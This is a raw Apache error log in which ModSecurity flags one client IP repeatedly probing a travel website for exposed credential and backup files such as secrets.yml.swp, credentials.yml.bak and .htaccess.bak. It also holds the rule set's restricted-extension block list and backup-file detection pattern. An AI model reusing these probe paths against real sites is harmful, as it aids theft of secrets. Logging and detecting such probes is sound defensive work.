[Fri Jul 17 08:55:19.903756 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.904866 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.905939 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/secrets.yml.swp"] [unique_id "almgn-1pLmPpy2r_2CxfUgAAAA8"]
[Fri Jul 17 08:55:19.906436 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/secrets.yml.swp"] [unique_id "almgn-1pLmPpy2r_2CxfUgAAAA8"]
[Fri Jul 17 08:55:19.906549 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.906697 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgn-1pLmPpy2r_2CxfUgAAAA8"]
[Fri Jul 17 08:55:19.911145 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.914639 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/secrets.yml.backup"] [unique_id "almgnyvekYYQ8uns4MwlZQAAAA0"]
[Fri Jul 17 08:55:19.915192 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/secrets.yml.backup"] [unique_id "almgnyvekYYQ8uns4MwlZQAAAA0"]
[Fri Jul 17 08:55:19.915356 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.915580 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnyvekYYQ8uns4MwlZQAAAA0"]
[Fri Jul 17 08:55:19.919405 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.923138 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/%2F.htaccess.bak"] [unique_id "almgn7oj0IkvhSCYadmBrwAAAAQ"]
[Fri Jul 17 08:55:19.923398 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /.htaccess.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/%2F.htaccess.bak"] [unique_id "almgn7oj0IkvhSCYadmBrwAAAAQ"]
[Fri Jul 17 08:55:19.923684 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/%2F.htaccess.bak"] [unique_id "almgn7oj0IkvhSCYadmBrwAAAAQ"]
[Fri Jul 17 08:55:19.923833 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.923975 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgn7oj0IkvhSCYadmBrwAAAAQ"]
[Fri Jul 17 08:55:19.926340 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.927520 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.927895 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.929652 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/credentials.yml.bak"] [unique_id "almgnxHlOGcokz2QIwTTHAAAAAM"]
[Fri Jul 17 08:55:19.930150 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/credentials.yml.bak"] [unique_id "almgnxHlOGcokz2QIwTTHAAAAAM"]
[Fri Jul 17 08:55:19.930285 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.930430 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnxHlOGcokz2QIwTTHAAAAAM"]
[Fri Jul 17 08:55:19.932552 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".yml~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/credentials.yml~"] [unique_id "almgn_wooI4qY7Jg93pVYwAAABM"]
[Fri Jul 17 08:55:19.933057 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/credentials.yml~"] [unique_id "almgn_wooI4qY7Jg93pVYwAAABM"]
[Fri Jul 17 08:55:19.933172 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.933289 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgn_wooI4qY7Jg93pVYwAAABM"]
[Fri Jul 17 08:55:19.934983 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/credentials.yml.old"] [unique_id "almgn-1pLmPpy2r_2CxfUwAAAA8"]
[Fri Jul 17 08:55:19.935551 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/credentials.yml.old"] [unique_id "almgn-1pLmPpy2r_2CxfUwAAAA8"]
[Fri Jul 17 08:55:19.935688 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.935829 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgn-1pLmPpy2r_2CxfUwAAAA8"]
[Fri Jul 17 08:55:19.939973 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.941811 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.947139 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.948746 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.953791 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.958215 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/credentials.yml.swp"] [unique_id "almgn3RlmrtCoY_COpcl7wAAAAg"]
[Fri Jul 17 08:55:19.958703 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/credentials.yml.swp"] [unique_id "almgn3RlmrtCoY_COpcl7wAAAAg"]
[Fri Jul 17 08:55:19.958827 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.958967 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgn3RlmrtCoY_COpcl7wAAAAg"]
[Fri Jul 17 08:55:19.964926 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.985404 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
